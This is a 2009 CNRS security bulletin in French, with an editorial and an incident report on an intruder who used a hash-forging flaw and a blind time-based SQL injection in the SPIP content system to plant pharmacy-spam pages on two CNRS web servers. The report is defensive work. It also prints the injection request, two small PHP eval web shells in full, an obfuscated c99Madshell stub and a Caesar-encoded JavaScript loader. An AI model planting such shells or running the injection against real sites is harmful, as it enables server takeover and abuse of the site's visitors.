

## Éditorial

Les limiers mènent l'enquête sur leurs serveurs...  
par Robert Longeon

\_ 1

Sur les traces de Vlad  
ou comment deux vulnérabilités de SPIP  
ont été exploitées sur nos sites WWW  
par Roland Dirlwanger, Corinne Fruchart, François Morris

\_ 1

## Editorial

### Les limiers mènent l'enquête sur leurs serveurs ...

ROBERT LONGEON  
Chargé de Mission SSI du CNRS

Ce numéro de mars de « Sécurité de l'information » est un peu exceptionnel puisqu'il ne comporte qu'un article décrivant la traque d'un pirate informatique au cours de ses pérégrinations à travers deux serveurs web institutionnels. Il l'est aussi par son contenu un peu plus technique qu'à l'ordinaire. Mais ceux uniquement intéressés par le côté « roman noir » y trouveront quand même leur compte à condition de passer directement aux conclusions sans chercher à s'attarder sur les descriptions « système » et les scripts métiers.

Tout commence donc par la découverte de pages proposant illégalement à la vente des produits pharmaceutiques sur les serveurs de deux délégations régionales du CNRS, celle de Paris et celle de Bordeaux. Rien d'extraordinaire par les temps qui courent... à part que tout indique qu'elles sont l'œuvre d'un seul et même individu.

Au fil de l'enquête nos fins limiers découvriront que probablement le pirate serait russophone (d'où le nom de Vlad qu'ils lui ont donné) et agirait probablement à partir de proxy web. De toute évidence, il n'est que la petite main d'un réseau qui organise la distribution des substances en question et lui fournit l'assistance technique.

Cette histoire est en réalité un cas d'école qui n'est pas, tout d'abord, sans nous plonger dans de profondes méditations sur la nature humaine : comment des personnes sensées peuvent-elles avaler en toute confiance les petites pilules bleues qu'elles recevront suite à ces transactions douteuses ? Comment, sur des sites aussi louches, peuvent-elles consentir à transmettre leur numéro de carte bancaire ? Cela reste pour beaucoup d'entre nous un immense mystère mais il n'en demeure pas moins que ces personnes existent puisqu'une activité mafieuse s'est développée sur ce modèle économique... et qu'elle prospère.

Elle montre ensuite un aspect de la délinquance informatique en pleine expansion, celle des attaques « en bande organisée » avec comme seule motivation l'appât du gain.

Enfin, elle confirme ce que nous savions depuis un certain temps : les serveurs http sont devenus une cible privilégiée des attaques. La plupart du temps les pirates se contentent d'y installer des pages de vente illégale ou de pédo-pornographie, mais parfois ils vont plus loin comme piéger des liens sur des pages existantes (en utilisant la nouvelle vulnérabilité des fichiers pdf par exemple). Ce type de piège sur un site digne de confiance comme doit l'être un site institutionnel, est imparable pour les visiteurs de ces pages.

Il en résulte un devoir de très grande vigilance vis-à-vis de tous nos serveurs Web... particulièrement ceux sous SPIP.

[robert.longeon@cnrs-dir.fr](mailto:robert.longeon@cnrs-dir.fr)

## Sur les traces de Vlad ou comment deux vulnérabilités de SPIP ont été exploitées sur nos sites WWW

**Roland Dirlwanger**

Coordinateur SSI pour la Délégation Aquitaine-Limousin

**Corinne Fruchart**

Expert SSI à la Délégation Paris-Michel-Ange

**François Morris**

Responsable SSI du siège du CNRS

**Cet article décrit les actions réalisées suite à deux intrusions réussies sur deux sites du CNRS (Bordeaux et Paris) entre le 30 janvier et le 16 février 2009.**

**À partir des traces observées dans les journaux des serveurs impliqués, nous déduisons les mécanismes supposés de l'attaque. Ensuite, nous présenterons les outils mis en œuvre pour reproduire ces attaques.**

**L'existence de ces jeux de tests permettant d'attaquer nos propres sites nous a permis de définir des parades spécifiques à ces attaques, et, selon toute vraisemblance, efficaces également dans des scénarii similaires.**

**Nous concluons sur les recommandations destinées aux sites utilisateurs de SPIP <sup>1</sup>.**

### ► Et par un petit matin calme...

Les signes manifestes d'une intrusion réussie sur deux sites des moyens communs du CNRS (l'un à Bordeaux, l'autre à Paris) ont été observés. Ces deux sites utilisent des distributions Linux de la famille RedHat (CentOS

<sup>1</sup> SPIP : **S**ystème de **P**ublication pour l'**I**nternet **P**artagé, est un système de gestion de contenu se basant sur PHP et MySQL (cf. encadré dans l'article).

ou Fedora) et un serveur Apache. Ils sont à jour des patches de sécurité, y compris pour la principale application hébergée sur ces serveurs, à savoir le système de gestion de contenu SPIP.

Malgré tout, une requête « **viagra online site:cnrs.fr** » dans le moteur de recherche Google a permis de déceler la présence de pages de vente de produits pharmaceutiques sur ces sites.

À Bordeaux, le constat a été fait le 13 février 2009. Les pages incriminées ont été installées dans un répertoire « .cache » situé à la racine de la distribution SPIP. Elles ont été rendues inaccessibles en transférant leur propriété à « root » et en supprimant les permissions en lecture, écriture, exécution pour tous les utilisateurs via un « `chmod 0` ». Toutes ces pages et les répertoires qui les contenaient étaient datés du 14 décembre, soit quelques jours avant la mise à jour en version 1.9.2g suite à l'avis des CERTs sur les vulnérabilités de SPIP.

Cette intrusion a fait l'objet d'une déclaration d'incident le 13 février auprès du CERT-Renater et des services du Fonctionnaire de sécurité de défense du CNRS. La date supposée de l'intrusion a été fixée au 14 décembre. Les recherches dans les journaux du serveur ont été concentrées sur l'exploitation à cette date d'une vulnérabilité de la version antérieure de SPIP. À posteriori, cette démarche s'est avérée une fausse piste.

Le 16 février, un nouveau répertoire nommé « skins » était créé à la racine du site SPIP de Bordeaux. Le contenu était très similaire au contenu du répertoire « .cache ».

Au même moment, le site parisien était également victime d'une intrusion. Ce dernier avait déjà fait l'objet d'attaques similaires au cours du dernier trimestre 2008. Celles-ci avaient été consignées en novembre dans une déclaration d'incident

accompagnée d'une analyse très détaillée du scénario de l'attaque. Ces informations n'avaient malheureusement pas connu une diffusion très large.

La similitude et la quasi-concomitance de ces attaques nous ont conduit à penser qu'elles étaient menées par la même personne, ou tout du moins, avec les mêmes outils. Nous avons donc choisi de conduire une analyse en commun.

### ► Commence alors une enquête...

L'analyse précédente des journaux du serveur web avait démontré un certain nombre de points intéressants, parmi lesquels :

- 1) La quasi totalité des requêtes suspectes avaient dans l'entête « User-Agent » la valeur « Opera/9.20 (Windows NT 5.1; U; ru) ». Le fait que le ou les pirates utilisent un navigateur rare (Opera), qui plus est, en russe, a conduit à supposer que l'attaquant est russophone. Il a alors été baptisé Vlad, contraction de Vladimir. Dans la suite, nous le désignerons ainsi. Par contre les adresses IP utilisées par le pirate changent et proviennent du monde entier, ce qui nous laisse penser qu'il utilise un réseau de proxy ou bien un botnet.
- 2) Vlad commence toujours une attaque par un accès au fichier `/tmp/meta_cache.txt` ou `/ecriture/data/meta_cache.txt` du site. En cas de récupération réussie, il est suivi, quelques minutes plus tard d'une requête POST sur `spip.php`, et d'un accès à un script `/IMG/otg/activate.php.odt` ou équivalent. Voici quelques extraits des journaux :

```
30/Jan/2009:16:00:02
GET /tmp/meta_cache.txt 200 9086
30/Jan/2009:16:06:34
POST /spip.php 302 272
30/Jan/2009:16:07:12
POST /IMG/otg/activate.php.otg
```

Ces traces peuvent laisser penser que le site de Bordeaux a été piraté le 30 janvier 2009 et non pas le 14 décembre 2008, comme le suggéraient les dates de dernière modification des pages installées puisqu'aucune activité suspecte n'a été relevée dans les journaux de décembre.

- 3) Ensuite, Vlad installe des scripts PHP sous des noms divers et les active via des requêtes POST. Les journaux permettent de déterminer la localisation de ces scripts.

Le point 1 a permis de suivre Vlad à la trace et ce, relativement facilement. Tout accès via un navigateur Opera en russe était suspect. Nous sommes convaincus qu'il s'agit bien du navigateur et que Vlad travaille essentiellement à la main : en effet, lorsqu'il charge une URL depuis nos sites, il charge aussi toutes les feuilles de styles, images, etc. qui accompagnent cette page.

Le point 2 amène une remarque intéressante. À priori, le traitement par Apache du fichier `activate.php.otg` devrait être celui associé au suffixe « .otg ». Ce dernier n'étant pas défini, Apache devrait proposer le téléchargement du contenu de ce fichier. En pratique, dans le cas de `activate.php.otg`, Apache exécute le gestionnaire PHP. La documentation d'Apache confirme ce fait [*mod\_mime*] :

```
Files can have more than one extension,
and the order of the extensions is normally
irrelevant. For example, if the file
welcome.html.fr maps onto content type
text/html and language French then the
file welcome.fr.html will map onto
exactly the same information. If more
than one extension is given that maps
onto the same type of meta-information,
then the one to the right will be used,
except for languages and content
encodings. For example, if .gif maps to
the MIME-type image/gif and .html maps
to the MIME-type text/html, then the file
welcome.gif.html will be associated with
the MIME-type text/html.
```

```
Care should be taken when a file with
multiple extensions gets associated with
both a MIME-type and a handler. This will
usually result in the request being
handled by the module associated with the
handler. For example, if the .imap
extension is mapped to the handler
imap-file (from mod_imagemap) and the
.html extension is mapped to the MIME-type
text/html, then the file world.imap.html
will be associated with both the
imap-file handler and text/html MIME-type.
When it is processed, the imap-file handler
will be used, and so it will be treated
as a mod_imagemap imagemap file.
```

### Qu'est-ce que SPIP ?

SPIP (**S**ystème de **P**ublication pour l'**I**nternet **P**artagé) est un logiciel libre destiné à la production de sites Web, de type système de gestion de contenu (en anglais CMS pour Content Management System). Il est écrit en PHP et s'appuie sur la base de données MySQL. Les pages du site sont générées « à la volée » : les contenus, stockés dans la base de données, sont mis en forme au moyen de « squelettes » de présentation qui allient le HTML et un langage de balisage léger propre au moteur SPIP. Le site officiel de SPIP se trouve à l'adresse : [www.spip.net](http://www.spip.net).

Néanmoins, des essais effectués à Paris et à Bordeaux montrent que ce comportement ne s'observe pas toujours. À Bordeaux, c'était le cas pour divers suffixes testés (otg, gif, jpg). À Paris, ce n'était le cas que pour des suffixes absents du fichier « /etc/mime.types » (fichier configuré dans le serveur apache). Les raisons de cette différence n'ont pas été investiguées. Mais, c'est peut-être elle qui a motivé le choix par Vlad du suffixe otg car il est en général absent de « /etc/mime.types » et est un des types acceptés par SPIP.

Finalement, le point 2 permet d'orienter l'analyse de l'intrusion vers l'exploitation d'une faille de SPIP à travers une information contenue dans le fichier **meta\_cache.txt**.

Ce fichier contient un tableau PHP de 96 entrées sous forme sérialisée. La plupart des entrées sont des paramètres de configuration avec des valeurs numériques ou booléennes. Deux entrées ont plus particulièrement attiré notre attention : *alea\_ephemere* et *alea\_ephemere\_ancien*.

```
[alea_ephemere_ancien] → 92c0b8d3 ...
[alea_ephemere] → 3e5cfe26 ...
```

Elles contiennent chacune une chaîne de 32 octets hexadécimaux. Compte tenu de l'importance des aléas dans les mécanismes d'authentification, c'est vers l'utilisation de ces deux valeurs que se sont concentrés les efforts.

Avant d'en savoir plus, la parade évidente a consisté à protéger ce fichier des accès extérieurs via des restrictions d'accès Apache. Cependant, malgré cette précaution mise en œuvre dès novembre 2008 sur le site parisien, ce dernier a subi une nouvelle intrusion le 16 février. Le scénario était à nouveau le même : accès au fichier **meta\_cache.txt** (mais dont le code de retour était 403, indiquant une interdiction d'accès), requête POST sur **spip.php** un peu plus de deux heures après, puis requête POST sur **celler.php.otg**, puis requête POST sur divers script PHP inexistants avant l'intrusion.

La question est de savoir ce que Vlad a fait pendant les deux heures entre le moment où il s'est vu refusé l'accès au fichier **meta\_cache.txt** et le moment où il a réussi l'intrusion via la requête sur **spip.php**.

En fait, il a fait deux choses : la première, c'est pirater à nouveau le site de Bordeaux

afin de recréer les pages de vente de médicaments dans un nouveau répertoire. La seconde, c'est de lancer un grand nombre de requêtes GET sur un script **php3** présent dans le **spip** du site parisien. Par la suite, nous nommerons ce script **xyz.php3**. Ci-dessous, un extrait des journaux montrant une telle requête (nous avons volontairement masqué les informations permettant de reproduire directement l'attaque) :

```
xyz.php3?par1=val1&par2=val2&par3=val3
&par4=7777%20UNION%20SELECT%20NULL%20F
ROM%20spip%5Fmeta%20WHERE%20nom%3D%27a
lea%5Fephemere%5Fancien%27%20AND%201%3
Dif%28%28ascii%28substring%28%28valeur
%29%2C33%2C1%29%29%3D102%29%2Cbenchmar
k%281900000%2Csha1%2813%29%29%2C0%29
HTTP/1.1" 200 8 "-" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.8.0.6)
Gecko/20060728 Firefox/1.5.0.6 (GNU
Linux)"
```

Ces requêtes contiennent du code SQL et suggèrent que Vlad exploite une vulnérabilité par injection de code SQL dans les scripts des anciennes versions de SPIP. La nouveauté, c'est que Vlad ne lance plus ces requêtes depuis son navigateur Opera, mais utilise un script. C'est pour cette raison que cette activité n'a pas été repérée tout de suite.

### ► Comment Vlad utilise l'aléa contenu dans **meta\_cache.txt**

SPIP fabrique un paramètre « hash » dans tous les formulaires qui vont conduire à une modification de contenu dans SPIP. La valeur de ce paramètre est le résultat du md5 de l'action (par exemple « joindre » pour rajouter un document), d'un « - », des arguments de l'action, de l'identifiant de l'auteur (i.e. la personne connectée), du codage MD5 de son mot de passe et de la valeur d'un aléa. Dans la suite, nous nommerons ces cinq données comme dans le source de SPIP, à savoir **\$action**, **\$arg**, **\$id\_auteur**, **\$pass**, **\$alea**.

L'identifiant de l'auteur est son index dans la table **spip\_auteurs**. On le retrouve aussi dans la valeur du cookie **spip\_session** qui commence par cet identifiant suivi d'un « \_ ». L'aléa est issu du tableau contenu sous forme sérialisée dans **meta\_cache.txt**. C'est l'index « **alea\_ephemere** » de ce tableau. L'aléa reste valable quelques heures.

Pour exécuter une action, SPIP construit un formulaire dont la soumission génère une requête POST sur **spip.php** avec comme paramètre « action », « arg »,

« hash » et éventuellement d'autres paramètres liés à l'action (par exemple, le contenu d'un document à joindre à un article ou une rubrique). Avant d'exécuter le script lié à l'action, SPIP charge le script **ecrire/inc/ securiser\_action.php** et exécute la fonction **inc\_securiser\_action\_dist**. Celle-ci fait un certain nombre de choses, dont l'une consiste à retrouver par divers moyens l'identifiant de l'auteur et son mot de passe codé en md5 (voir la fonction **caracteriser\_auteur**). Avec ces deux valeurs ainsi que la valeur des paramètres « action », « arg », et de l'aléa éphémère qui a été chargé précédemment, SPIP dispose des 5 données qui permettent de calculer le hash comme précédemment. Si le hash calculé correspond à la valeur du paramètre hash alors l'action peut être exécutée. Sinon, l'accès est interdit.

Notons que le cas de l'expiration de l'aléa entre le moment où un formulaire est généré et le moment où il est rempli et soumis, a été pris en compte : SPIP considère comme valide à la fois le hash fabriqué avec l'aléa courant ou avec l'aléa précédent. C'est ce qui explique la présence des deux entrées **alea\_ephemere** et **alea\_ephemere\_ancien** dans le fichier **meta\_cache.txt**.

En revanche, la faille vient du fait que la fonction **caracteriser\_auteur** ne considère pas comme une erreur le cas où on ne trouve pas l'identifiant de l'auteur (pour des connexions anonymes, sans doute). Dans ce cas, on obtient une chaîne vide à la fois pour l'identifiant et pour le mot de passe. Le hash devient donc le résultat de « **\$action-\$arg\$alea** ». Mis à part **\$alea** qu'on va chercher dans **meta\_cache.txt**, il n'y a plus rien de secret dans ce hash.

Pour joindre un document à une rubrique, l'action est « joindre » et **arg** est une chaîne de la forme **n/0/document/rubrique** où **n** est le numéro de la rubrique. Il nous a été facile d'écrire un script utilisant la commande **curl** pour générer une requête POST permettant d'ajouter un document dans une rubrique d'un site donné. Ce qui a montré la validité de notre analyse. Par contre le pirate a très certainement utilisé une des fonctionnalités d'Opera pour générer sa requête.

Si le nom du fichier envoyé est de la forme **script.php.xyz** avec **xyz** faisant partie de la liste des suffixes autorisés par SPIP, alors on retrouve ce document dans **/IMG/xyz/script.php.xyz**.

L'expérience a été réalisée avec un fichier `script.php.jpg` sur le site de Bordeaux. Ce script s'exécute en tant que code PHP. Ces éléments nous permettent de déduire avec une grande certitude que le scénario de l'attaque consiste bien à :

- récupérer l'aléa dit « alea\_ephemere » dans `meta_cache.txt` ;
- fabriquer une action SPIP consistant à déposer sur le site cible un script PHP ;
- à l'aide de ce script, installer d'autres scripts ou des copies du premier en divers endroits plus ou moins discrets du serveur ;
- utiliser ces derniers pour installer de nouvelles pages.

### ► Comment Vlad utilise l'injection SQL à l'aveuglette pour obtenir l'aléa

Les requêtes sur `xyz.php3` montrent que Vlad s'intéresse toujours à la valeur de l'aléa. Ne pouvant l'obtenir par la lecture interdite de `meta_cache.txt`, il tente une injection de code SQL à l'aveuglette. Cette technique consiste à déduire le résultat d'une requête SQL en fonction du comportement du script dans lequel elle est injectée.

On a vu précédemment que la requête est la suivante (après décodage des caractères %xx) :

```
... SELECT NULL FROM spip_meta WHERE
nom='alea_ephemere_ancien' AND
1=if((ascii(substring((valeur),1,1))=3
2),benchmark(1900000,sha1(13)),0)
```

Elle consiste à demander si le premier caractère de l'aléa est égal au premier caractère ASCII imprimable (espace, code ASCII 32). Si oui, le code « `benchmark(1900000, sha1(13))` » est exécuté. Il consiste à calculer 1,9 million de fois une empreinte SHA1. C'est relativement long (environ 15 secondes). Ainsi, si le caractère est deviné, alors le script met 15 secondes à se terminer. Sinon, il se termine immédiatement.

Vlad récupère donc la valeur de l'aléa en envoyant autant de requêtes qu'il faut pour tester les 32 caractères de l'aléa contre toutes les valeurs de l'alphabet ASCII. À chaque fois que la requête met un délai plus long à répondre, c'est qu'il a déterminé un des caractères de l'aléa.

On note qu'il aurait pu aisément optimiser son code en ne testant que les valeurs de 0 à 9 et de a à f. Mais Vlad n'est pas l'inventeur de cette technique. Il a juste adapté un script récupéré sur

MilW0rm[milworm]. Nous en sommes convaincus car le « User-agent » et la fonction « sha1(13) » sont identiques à ce qui est trouvé dans les journaux.

### ► Protéger le site contre de nouvelles attaques

Deux parades ont été mises en place immédiatement sur le site de Bordeaux.

- la première consiste à rendre inaccessible le contenu du répertoire /tmp ;
- la seconde consiste à interdire l'exécution de scripts PHP, CGI, Perl ou Python dans le répertoire IMG de SPIP.

Ces modifications nécessitent de relancer Apache. Des tests avec curl ont été effectués pour vérifier que l'accès au fichier `/tmp/meta_cache.txt` était effectivement interdit et que le script `IMG/jpg/script.php.jpg` n'était plus interprété par le gestionnaire PHP.

### Rendre inaccessible meta\_cache.txt

Pour rendre inaccessible le contenu du répertoire /tmp de SPIP, les directives ci-dessous ont été rajoutées à la configuration d'Apache :

```
<Location /tmp/>
deny from all
</Location>
```

Notons que par défaut, SPIP 1.9.2g protège le répertoire « /tmp » par un fichier « `.htaccess` » contenant la directive « `deny from all` ». Malheureusement, aucune information dans la documentation d'installation de SPIP n'invite les administrateurs à vérifier que ces restrictions d'accès sont effectives.

Or, dans des distributions issues de la famille RedHat, Fedora ou CentOS, la configuration par défaut d'Apache applique la recommandation ci-dessous [mod\_core] :

```
For security and performance reasons,
do not set AllowOverride to anything
other than None in your <Directory />
block. Instead, find (or create) the
<Directory> block that refers to the
directory where you're actually plan-
ning to place a .htaccess file.
```

Sur bon nombre de sites, aucune directive « `AllowOverride` » appliquée aux répertoires de SPIP ne vient contredire le « `AllowOverride None` » de la racine. Il s'ensuit que le contenu du fichier « `.htaccess` » est inhibé sur ces plateformes. Elles deviennent ainsi vulnérables.

### Interdire l'utilisation de scripts PHP dans le répertoire /IMG de SPIP

L'exécution de script a été rendue inopérante dans le répertoire de SPIP grâce aux directives Apache ci-dessous :

```
<Location /IMG>
RemoveHandler .php .php3 .py .pl .cgi
</Location>
```

Ces directives n'ont pas eu d'effet sur le site parisien et sur d'autres sites CNRS. Deux alternatives ont été proposées :

```
# par Fabrice Boyrie, Université
Montpellier 2
<FilesMatch "\.(pl|cgi|py|php|php3|
php4|php5|phtml?|shtml?)$" >
deny from all
</FilesMatch>
```

ou bien

```
<Directory /.../.../.../IMG>
php_flag engine Off
</Directory>
```

### ► Détecter et éliminer les scripts que Vlad a installés

Deux méthodes différentes ont été employées sur le site de Bordeaux pour déterminer ce que Vlad a installés : la comparaison par rapport à une installation saine et l'analyse des journaux. Il est supposé que Vlad n'installe que des scripts PHP.

### La comparaison avec une installation saine

La comparaison par une commande « `diff -cr` » entre une installation saine de SPIP 1.9.2g et l'installation piratée a mis en évidence la présence d'un certain nombre de scripts PHP surnuméraires. Auparavant le cache de SPIP a été purgé sur le site piraté. La différence renvoie les résultats suivants :

```
# diff -crq site/spip distri/spip |
grep '\.php' | grep '^Seulement dans
html/'
Seulement dans html/spip/matrice:
matrice.class.php
Seulement dans html/spip/plugins/
acces_restraint_3_0/exec:
zones_create.php
Seulement dans html/spip/public:
ecrire/public/skins.php
Seulement dans html/spip/tmp/sessions:
session_12_d8189b8acb66....php
...
(suivent tous les fichiers de session)
```

Les fichiers de sessions contenaient bien du code conforme aux sessions SPIP.

## L'analyse des journaux

La commande ci-dessous donne les noms de toutes les URL activées par Vlad sur le site de Bordeaux :

```
# fgrep 'Opera/9.20 (Windows NT 5.1;
U; ru)' access_log | awk '{print $7}'
| grep '\.php' | sort -u
/ecrire/exec/admin_size.php?act=1
/ecrire/public/skins.php
/ecrire/public/skins.php?act=1
/_http.php
/IMG/otg/activate.php
/IMG/otg/activate.php.otg
/matrice/matrice.class.php
/plugins/acces_restreint_3_0/exec/zones_
create.php?act=1
/spip.php
/spip.php?article51
/IMG/otg/activate.php
/matrice/matrice.class.php
```

## La désactivation de ces scripts

Le fait qu'il existe des différences entre les deux résultats montre que Vlad a installé puis déplacé certains scripts. À Bordeaux, les scripts détectés précédemment ont été rendus inopérants en rendant l'utilisateur « root » propriétaire de ces derniers et en supprimant tous les accès par un « chmod 0 ».

## L'analyse de ces scripts

L'analyse de ces scripts montre que les scripts installés par Vlad à Bordeaux appartiennent à deux catégories :

1) Les scripts comme

**matrice/matrice.class.php** : ce sont des scripts dont le code est masqué. En pratique, il s'agit de c99Madshell qui permet de faire un inventaire des failles potentielles d'un serveur et d'exécuter des commandes diverses. Ces scripts se repèrent assez bien à leur contenu qui contient la chaîne :

```
eval(gzinflate(base64_decode('HJ3HkqNQ
EkU/ZzqCBd4t8V4YAQI2E3jv
```

Cette opération de décompression est répétée plusieurs fois, probablement pour rendre plus difficile une analyse mais aucun polymorphisme, pourtant facile à ajouter, n'est mis en œuvre.

2) Les scripts comme **admin\_size.php** qui contiennent un code assez trivial de la forme :

```
<?php
if(isset($_GET['act']))
{
if(isset($_POST['do']))eval(stripslashes($_POST['do']));
?>
<form action=# method=post>
<input type=text name=do>
```

```
<input type=submit>
</form>
<?php
}
?>
```

Ces deux familles de scripts ont été également repérées sur le site de Paris et mentionnées dans la déclaration d'incident de novembre 2008. Le script Madshell était identique sur les deux sites. Le second script était différent. Voici la version installée à Paris :

```
<?php
if(isset($_GET['step']))
{
if(isset($_POST['dm']))eval(stripslashes($_POST['dm']));
?>
<form action=# method=POST>
<input type=text name=dm>
<input type=submit>
</form>
<?php
}
?>
```

Le but de ces scripts PHP est de permettre d'exécuter n'importe quel code PHP (fonction eval) dans l'environnement du serveur Apache. Malheureusement il n'a pas été possible d'interdire cette fonction en utilisant la directive **disable\_functions="eval"** dans le fichier **php.ini** car SPIP l'utilise.

Lors de l'analyse des pages déposées par le pirate en novembre nous avons trouvé une référence à un javascript situé à l'URL <http://tooooo.biz/sword.php>. Curieusement ce javascript est chiffré en utilisant un code de César (décalage de 3 dans l'ordre des caractères). Il faudrait dire à certains que cela fait plus de 2000 ans que ce code a été cassé, surtout que, de plus, le programme de déchiffrement est fourni avec.

```
function to_upper(str) { var res =
''; for(i = 0; i < str.length; ++i)
{ n = str.charCodeAt(i); res +=
String.fromCharCode(n - (3)); }
return res; };
eval(to_upper("grfxphqw1rshq+,>#grfxph
qw1zulwhoq+%_u_q etc.
```

Une recherche whois sur [tooooo.biz](http://tooooo.biz) conduit au trop fameux registre EstDomains qui était alors sur le point de perdre son accréditation [*icann*].

L'adresse IP correspondante 88.214.202.120 n'est pas renseignée dans le DNS inverse mais appartient à Real International Business Corp situé à Londres.

Une autre adresse repérée [gribokhost.com](http://gribokhost.com) conduit à Maha Roon à Mumbai (Bombay) en Inde. L'IP correspondante est 66.199.236.58. Le reverse DNS pointe sur 66-199-236-58.reverse.ezzi.net. Le site [ezzi.net](http://ezzi.net) indique que la société située à New York loue des serveurs dédiés.

## L'élimination des pages indésirables du site WWW

Grâce à ses scripts, Vlad a installé un certain nombre de pages de vente de médicaments et de jeux de casino en ligne sur le site de Paris en novembre. Sur le site de Bordeaux, on a retrouvé ces pages dans les répertoires « **skins** » et « **.cache** » à la racine du site SPIP. Sur le site de Paris, on a retrouvé ces pages dans différents répertoires comme « **.pub** ».

Les pages du site de Bordeaux ont été rendues inaccessibles par les commandes « **chown root.root** » et « **chmod 0** ».

Sur le site de Paris, elles ont été rendues inaccessibles par des directives d'Apache :

```
<Directory ../.../.../.../.pub>
Order Deny,Allow
Deny from all
</Directory>
```

Notons que la méthode employée à Paris a l'avantage de ne pas modifier les inodes des fichiers et répertoires. Ainsi, la date de changement de l'inode (celle qui s'affiche par la commande « **ls-lc** ») n'est pas altérée.

## L'élimination des pages indésirables des caches de Google et Yahoo

Les pages indésirables ont eu le temps d'être indexées par les moteurs de recherche de Google et Yahoo avant d'être rendues inaccessibles.

Les deux moteurs proposent chacun un mécanisme différent pour effectuer cette opération (voir [*google\_index*] et [*yahoo\_index*]). Dans les deux cas, il faut disposer d'un compte et insérer une clé sur la page d'accueil du site pour associer le compte au site. Cette opération avait déjà été réalisée dans le passé pour Google sur le site de Bordeaux. Elle a également été réalisée pour Yahoo dans le cadre de cette opération.

Les deux moteurs de recherche demandent à ce que les URLs à éliminer provoquent lors de leur accès par le robot d'indexation une erreur de type « document inexistant » (code 404) ou « document déplacé » (code 410) plutôt que « accès

interdit » (code 403). C'est pourquoi, les répertoires contenant les pages indésirables ont été renommés en « **skins.removed** » et « **.cache.removed** ». Par ailleurs, pour supprimer des répertoires entiers, Google et Yahoo demandent que ces répertoires soient marqués comme « Disallowed » dans un fichier « **robots.txt** » situé à la racine du site.

Lorsque tous ces prérequis ont été satisfaits, les deux moteurs ont désindexé les pages en environ 24 heures.

### ► **Recommandations à l'usage des sites utilisateurs de SPIP**

La première recommandation est bien sûr de migrer vers la version la plus récente de SPIP. Les sites devront également vérifier que les URL suivantes renvoient un message d'erreur :

- [http://votre.site/tmp/meta\\_cache.txt](http://votre.site/tmp/meta_cache.txt)
- [http://votre.site/spip\\_image.php3](http://votre.site/spip_image.php3)

En pratique, il est parfois difficile d'éliminer les fichiers \*.php3 d'une configuration récente car des éléments du squelette SPIP peuvent en dépendre.

Dans l'attente d'une refonte des squelettes et de l'élimination complète des scripts \*.php3, il est vivement souhaitable de mettre en place un mécanisme interdisant l'exécution de script PHP depuis le répertoire IMG de SPIP - afin d'empêcher l'exécution de scripts à partir du répertoire /IMG ou de l'un de ses sous répertoires.

Un message en ce sens a été envoyé sur les listes internes de chargés de la sécurité des systèmes d'information du CNRS.

Une autre recommandation est de surveiller les journaux et en cas de découverte d'une compromission d'effectuer une recherche exhaustive sur tous les fichiers qui ont pu être modifiés ou ajoutés. En effet, Vlad est venu squatter à Paris le 23 juillet. Nous nous en sommes rendus compte mi-août car il nous a défiguré un site.

Il en avait mis partout, à tel point que nous n'avons pas tout trouvé en une seule fois :

- Nous avons d'abord cherché un C99Madshell.
- La fois suivante, il est revenu avec un autre C99Madshell : nous les avons donc cherchés de manière exhaustive.
- Il est alors revenu une troisième fois avec son mini-script POST+GET : nous avons donc cherché tous les scripts POST+GET.
- Nous croyions être débarrassée de Vlad quand une recherche sur goggle « cialis site:cnrs.fr » a conduit à la découverte d'une compromission sur le site de Bordeaux. C'était un jeudi soir. La nuit portant conseil, nous nous sommes dit que la compromission de Bordeaux a pu se faire à travers un relais à Paris. Bingo ! Et après vérification, il était également revenu sur notre machine et par une autre méthode !

Comme il y a des enjeux financiers, nous sommes convaincus qu'il reviendra, SPIP étant une vraie passoire même avec la dernière version.

Après quatre actions pour déjouer Vlad, nous avons pris la décision de surveiller

nos journaux et d'ajouter en crontab (logs en « combined » avec un logrotate par jour) :

```
FILE_OUT="/tmp/Vlad";
FILE_IN="/var/log/httpd/*\*.1.gz";zegrep
p 'IMG/otg|Opera/9.20 (Windows NT
5.1; U; ru)|benchmark|meta_cache.txt'
$FILE_IN > $FILE_OUT; if [ $(stat -c
c\%s $FILE_OUT) != 0 ]; then mail -s
"Vlad le retour?" webmaster@domaine.fr
< $FILE_OUT; fi
```

Comme Vlad a intérêt à se faire indexer dans les moteurs de recherche, nous comptons ajouter à cette surveillance celle des GET de Yahoo (ou autre crawl) sur les chaînes de caractères 'viagra', 'cialis' ou 'casino'. ■

Roland.Dirlewanger[à]dr15.cnrs.fr  
Corinne.Fruchart[à]cnrs-dir.fr  
Francois.Morris[à]cnrs-dir.fr

### ► **Références**

- [google\_index] <http://www.google.fr/intl/fr/remove.html>
- [icann] <http://www.icann.org/en/announcements/announcement-2-29oct08-en.htm>
- [milworm] <http://www.milw0rm.com/>
- [mod\_core] <http://httpd.apache.org/docs/2.2/mod/core.html#allowoverride>
- [mod\_mime] [http://httpd.apache.org/docs/2.2/mod/mod\\_mime.html](http://httpd.apache.org/docs/2.2/mod/mod_mime.html)
- [yahoo\_index] <http://help.yahoo.com/l/us/yahoo/search/siteexplorer/delete/siteexplorer-46.html>

## OWASP

Les applications web sont devenues aujourd'hui la principale cible des attaques, le cas présenté dans ce numéro n'en est qu'une illustration. Il faut donc saluer l'initiative de l'OWASP<sup>1</sup> (Open Web Application Security Project) dont l'objectif principal est de produire des outils, documents et standards dédiés à la sécurité des applications web. Pour plus d'informations on pourra consulter la fiche ressource Plume<sup>2</sup>.

Son guide *Les dix vulnérabilités de sécurité applicatives Web les plus critiques*<sup>3</sup> qui a été traduit en français est devenue la référence pour les développeurs, concepteurs, architectes d'applications web. Il décrit les meilleures pratiques à respecter.

Parmi les dix vulnérabilités citées, trois au moins ont été exploitées dans le cas présent : failles d'injection, violation de gestion d'authentification et de session, manque de restriction d'accès d'URL. Si les mesures de sécurité préconisées dans ce guide avaient été mises en œuvre, l'attaque n'aurait pas été possible.

<sup>1</sup> <http://www.owasp.org>

<sup>2</sup> <http://www.projet-plume.org/fr/ressource/owasp>

<sup>3</sup> [https://www.owasp.org/images/c/ce/OWASP\\_Top\\_10\\_2007\\_-\\_French.pdf](https://www.owasp.org/images/c/ce/OWASP_Top_10_2007_-_French.pdf)

## SÉCURITÉ DE L'INFORMATION

**Sujets traités** : tout ce qui concerne la sécurité informatique. Gratuit.  
**Périodicité** : 4 numéros par an.  
**Lectorat** : toutes les formations CNRS.

**Responsable de la publication** :  
**Joseph Illand**  
Fonctionnaire de Sécurité de Défense  
Centre national de la recherche scientifique  
3, rue Michel-Ange, 75794 Paris cedex 16  
Tél. : 01 44 96 41 88  
